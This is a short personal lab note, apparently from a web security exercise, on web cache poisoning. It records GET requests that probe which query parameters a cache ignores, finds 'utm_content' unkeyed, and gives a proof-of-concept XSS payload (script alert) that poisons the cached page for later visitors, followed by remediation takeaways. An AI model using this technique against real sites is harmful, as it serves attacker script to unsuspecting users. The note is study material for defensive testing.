Note(Datetime, Name) : 2025-04-27 Web cache poisoning via an unkeyed query parameter
Metodelogy
- Investigate the system to retrieve a list of features
- Discribe the feature and explain how it works
- List possible vulnerabilities and group by feature
- Proof of concept for possible vulnerabilities
- What is the impact of the vulnerabilities after the proof of concept ?
==========================================================================================================
feature:
- access GET / -> page is cache
steps taken:
- access GET /?test=value -> cache is miss
- access GET /?%20test=value -> cache is miss
- access GET /?test=value%20t -> cache is miss
- access GET /?test=value&test -> cache is miss
- access GET /?#tet -> cache is miss
- access GET /?postId=4&test=test&test=2&test=4&test=5%23test?test:test?test==test&test&test=test6 -> cache miss
- access GET /?utm_source=google -> cache is miss
- access GET /?utm_source=googl -> cache is miss
- access GET /?utm_medium=cpc -> cache is miss
- access GET /?utm_campaign=spring_sale -> cache is miss
- access GET /?utm_term=test -> cache is miss
- access GET / -> cache is hit
- access GET /?utm_content=test -> cache is hit -> indicate utm_content parameter is unkeyed cache
vulnerabilities :
- web cache deception in UTM analytics
Proof of concept:
- access the URL: GET /?utm_content=test'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C and ensure that the page is cached by the server
- wait for victim to access the URL: GET / and the injected javacript will executre on the victim's page when they visit the cache page
impact
- attacker can inject malicious javascript to the cache page, which execute when other user access the cache content, potentially leading to XSS attack
takeaways
- Ensure all key parametes (including UTM parameters ) are part of the cache key to prevent cache poisoning
- Regularly test cache key configurations to avoid serving malicious content to users